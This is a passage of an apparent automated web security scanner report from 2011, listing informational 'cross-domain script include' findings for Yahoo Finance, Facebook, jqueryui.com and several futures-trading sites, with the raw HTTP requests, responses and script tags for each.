_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js
http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js
http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js
http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:52 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: MwPhCom_degraded_status=false; path=/
Vary: Accept-Encoding
Content-Type: text/html;charset=utf-8
Cache-Control: private
Age: 0
Connection: close
Server: YTS/1.20.7

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
<title>US Steel converts vehicles to run on natural gas - Yahoo! Finance</tit
...[SNIP]...
vA/A=3560010564270340046/R=1/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212160622?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' src="http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15ungo32o/M=601783366.602850899.828879551.828879551/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518412/L=ir6wC0PDkjlyLfaOTmkbkQCXMhd7ak5pG6wAADq1/B=8C5wQ0oGYv4-/J=1315511212160622/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212160622"></SCRIPT>
...[SNIP]...
814/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3740502269917550892/R=0/X=6/*;ord=1315511212.148814?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bTU4bTYxcyhnaWQkaXI2d0MwUERramx5TGZhT1Rta2JrUUNYTWhkN2FrNXBHNndBQURxMSxzdCQxMzE1NTExMjEyMDk2NDcyLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJE1Pa0F4RVBEbjJ3LSxjdCQyNSx5YngkV2ZKclMxOUhBVjRUb2pTclltWXZ0QSxyJDEscmQkMTZpcGxwMXYxKSk/1/*http://global.ard.yahoo.com/SIG=15ieq8kgm/M=999999.999999.999999.999999/D=fin/S=2142203358:NE3/Y=YAHOO/EXP=1315518412/L=ir6wC0PDkjlyLfaOTmkbkQCXMhd7ak5pG6wAADq1/B=MOkAxEPDn2w-/J=1315511212148814/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3740502269917550892/R=1/X=6/*;ord=1315511212.148814?"></SCRIPT>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js"></script>
<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js"></script>

<script type="text/javascript" src="http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js"></script>

<script type="text/javascript" src="http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js"></script>
...[SNIP]...

17.7. http://jqueryui.com/themeroller/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.16/jquery-ui.min.js

Request

GET /themeroller/ HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Thu, 08 Sep 2011 19:47:09 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 117175

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller" type="text/css" media="all" />
           <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js" type="text/javascript"></script>
           <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.16/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...

17.8. http://www.algoadvantage.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.algoadvantage.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.js

Request

Response

17.9. http://www.efutures.com/account/submitapp.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.efutures.com
Path:	/account/submitapp.php

Issue detail

The response dynamically includes the following script from another domain:

https://seal.verisign.com/getseal?host_name=www.efutures.com&size=S&use_flash=YES&use_transparent=YES&lang=en

Request

GET /account/submitapp.php HTTP/1.1
Host: www.efutures.com
Proxy-Connection: keep-alive
Referer: http://www.efutures.com/account/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Efutures=47a42fa17f407fb514b047c2a077e9e5; __utma=212738496.1761536259.1315527925.1315527925.1315527925.1; __utmb=212738496.6.10.1315527925; __utmc=212738496; __utmz=212738496.1315527925.1.1.utmgclid=CN_fipqwjqsCFUsaQgodfyAdwQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:42:49 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/4.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 5586

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<div class="right">
<script language="javascript" type="text/javascript" src="https://seal.verisign.com/getseal?host_name=www.efutures.com&size=S&use_flash=YES&use_transparent=YES&lang=en"></script>
...[SNIP]...

17.10. http://www.facebook.com/connect/prompt_feed.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/prompt_feed.php

Issue detail

The response dynamically includes the following script from another domain:

http://b.static.ak.fbcdn.net/rsrc.php/v1/yP/r/jMxYWoMkQmY.js

Request

GET /connect/prompt_feed.php HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
X-UA-Compatible: IE=edge
X-XSS-Protection: 0
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.235.44
Connection: close
Date: Thu, 08 Sep 2011 19:46:43 GMT
Content-Length: 12874

<!DOCTYPE html><html lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>CavalryLogger=false;window._script_path = "\/connect\/prompt_feed.php";window._EagleEyeSeed="r3Hn";</s
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/v1/yt/r/5fL_0pZ13Pp.css" />

<script type="text/javascript" src="http://b.static.ak.fbcdn.net/rsrc.php/v1/yP/r/jMxYWoMkQmY.js"></script>
...[SNIP]...

17.11. http://www.facebook.com/dialog/feed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dialog/feed

Issue detail

The response dynamically includes the following script from another domain:

http://b.static.ak.fbcdn.net/rsrc.php/v1/yP/r/jMxYWoMkQmY.js

Request

GET /dialog/feed HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
X-UA-Compatible: IE=edge
X-XSS-Protection: 0
Set-Cookie: locale=en_US; expires=Thu, 15-Sep-2011 19:46:43 GMT; path=/; domain=.facebook.com
Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fdialog%2Ffeed; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.238.47
Connection: close
Date: Thu, 08 Sep 2011 19:46:43 GMT
Content-Length: 15182

<!DOCTYPE html><html lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>CavalryLogger=false;window._script_path = "\/dialog\/feed";window._EagleEyeSeed="rM4U";</script><noscr
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/v1/yt/r/5fL_0pZ13Pp.css" />

<script type="text/javascript" src="http://b.static.ak.fbcdn.net/rsrc.php/v1/yP/r/jMxYWoMkQmY.js"></script>
...[SNIP]...

17.12. http://www.farrdirect.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.farrdirect.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.getclicky.com/8337.js
http://www.google-analytics.com/urchin.js

Request

Response

17.13. http://www.farrdirect.com/hbooks.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.farrdirect.com
Path:	/hbooks.htm

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.getclicky.com/8337.js
http://www.google-analytics.com/urchin.js

Request

GET /hbooks.htm HTTP/1.1
Host: www.farrdirect.com
Proxy-Connection: keep-alive
Referer: http://www.farrdirect.com/fbooks.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=134068249.1102457396.1315527934.1315527934.1315527934.1; __utmc=134068249; __utmz=134068249.1315527934.1.1.utmgclid=CNXkrp-wjqsCFckaQgodVDsWwA|utmccn=(not+set)|utmcmd=(not+set)|utmctr=futures+trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:03 GMT
Server: Apache/2.0.52 (Red Hat)
Accept-Ranges: bytes
Content-Length: 3795
Content-Type: text/html

<html>
<head>
<title>Commodity Trading Online by Farr Financial Commodities Futures Brokers - Commodity Trading Books Page</title>
<meta name="keywords" content="commodity trading, commodity broker
...[SNIP]...
</div>

<script src="http://static.getclicky.com/8337.js" type="text/javascript"></script>
...[SNIP]...
</noscript>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

17.14. http://www.futurestrading.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://s7.addthis.com/js/200/addthis_widget.js
http://www.thefinancials.com/syndicated/DTS/DTSs_Commodities.js
http://www.thefinancials.com/syndicated/DTS/DTSs_EconomicStats.js

Request

GET / HTTP/1.1
Host: www.futurestrading.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:25:06 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 08 Sep 2011 19:25:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 38568

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb">
<head>
<meta h
...[SNIP]...
</a>
<script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...
 <script LANGUAGE='JavaScript' type='text/javascript'
SRC='http://www.theFinancials.com/syndicated/DTS/DTSs_Commodities.js'>
</script>
...[SNIP]...

<script LANGUAGE='JavaScript' type='text/javascript'
SRC='http://www.theFinancials.com/syndicated/DTS/DTSs_EconomicStats.js'>
</script>
...[SNIP]...

17.15. http://www.futurestrading.com/log-in.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/log-in.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://s7.addthis.com/js/200/addthis_widget.js
http://www.thefinancials.com/syndicated/DTS/DTSs_Commodities.js
http://www.thefinancials.com/syndicated/DTS/DTSs_EconomicStats.js

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:51 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 08 Sep 2011 19:59:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 31326

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb">
<head>
<meta h
...[SNIP]...
</a>
<script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...
 <script LANGUAGE='JavaScript' type='text/javascript'
SRC='http://www.theFinancials.com/syndicated/DTS/DTSs_Commodities.js'>
</script>
...[SNIP]...

<script LANGUAGE='JavaScript' type='text/javascript'
SRC='http://www.theFinancials.com/syndicated/DTS/DTSs_EconomicStats.js'>
</script>
...[SNIP]...

17.16. http://www.futurestrading.com/managed-accounts/what-are-managed-futures.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/managed-accounts/what-are-managed-futures.html

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/200/addthis_widget.js

Request

GET /managed-accounts/what-are-managed-futures.html HTTP/1.1
Host: www.futurestrading.com
Proxy-Connection: keep-alive
Referer: http://www.futurestrading.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: af954db55ff4d54a88e086fc2a1751f0=f7f0571d6de3a89fad76557c5546f2e6; __utma=221442575.134975660.1315527952.1315527952.1315527952.1; __utmc=221442575; __utmz=221442575.1315527952.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:40 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 08 Sep 2011 19:59:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 28789

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb">
<head>
<meta h
...[SNIP]...
</a>
<script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...

17.17. http://www.futurestrading.com/managed-futures.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/managed-futures.html

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/200/addthis_widget.js

Request

GET /managed-futures.html HTTP/1.1
Host: www.futurestrading.com
Proxy-Connection: keep-alive
Referer: http://www.futurestrading.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: af954db55ff4d54a88e086fc2a1751f0=f7f0571d6de3a89fad76557c5546f2e6; __utma=221442575.134975660.1315527952.1315527952.1315527952.1; __utmc=221442575; __utmz=221442575.1315527952.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:36 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 08 Sep 2011 19:59:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25111

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb">
<head>
<meta h
...[SNIP]...
</a>
<script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...

17.18. http://www.globalfutures.com/index.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/index.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit
http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&

Request

Response

17.19. http://www.globalfutures.com/resources/forex-newsitem.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/resources/forex-newsitem.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit
http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&

Request

GET /resources/forex-newsitem.asp HTTP/1.1
Host: www.globalfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 21557
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:46:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="en-us
...[SNIP]...
</script>
<script src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
...[SNIP]...

<script language="JavaScript" src="http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&"><a href="http://www.phplivesupport.com">
...[SNIP]...

17.20. http://www.globalfutures.com/resources/futures-newsitem.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/resources/futures-newsitem.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit
http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&

Request

GET /resources/futures-newsitem.asp HTTP/1.1
Host: www.globalfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 21567
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:46:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="en-us
...[SNIP]...
</script>
<script src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
...[SNIP]...

<script language="JavaScript" src="http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&"><a href="http://www.phplivesupport.com">
...[SNIP]...

17.21. http://www.globalfutures.com/resources/newsitem.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/resources/newsitem.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit
http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&

Request

GET /resources/newsitem.asp HTTP/1.1
Host: www.globalfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 21554
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:46:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="en-us
...[SNIP]...
</script>
<script src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
...[SNIP]...

<script language="JavaScript" src="http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&"><a href="http://www.phplivesupport.com">
...[SNIP]...

17.22. http://www.globalfutures.com/resources/newsletter.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/resources/newsletter.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit
http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&

Request

GET /resources/newsletter.asp HTTP/1.1
Host: www.globalfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 33091
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:46:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="en-us
...[SNIP]...
</script>
<script src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
...[SNIP]...

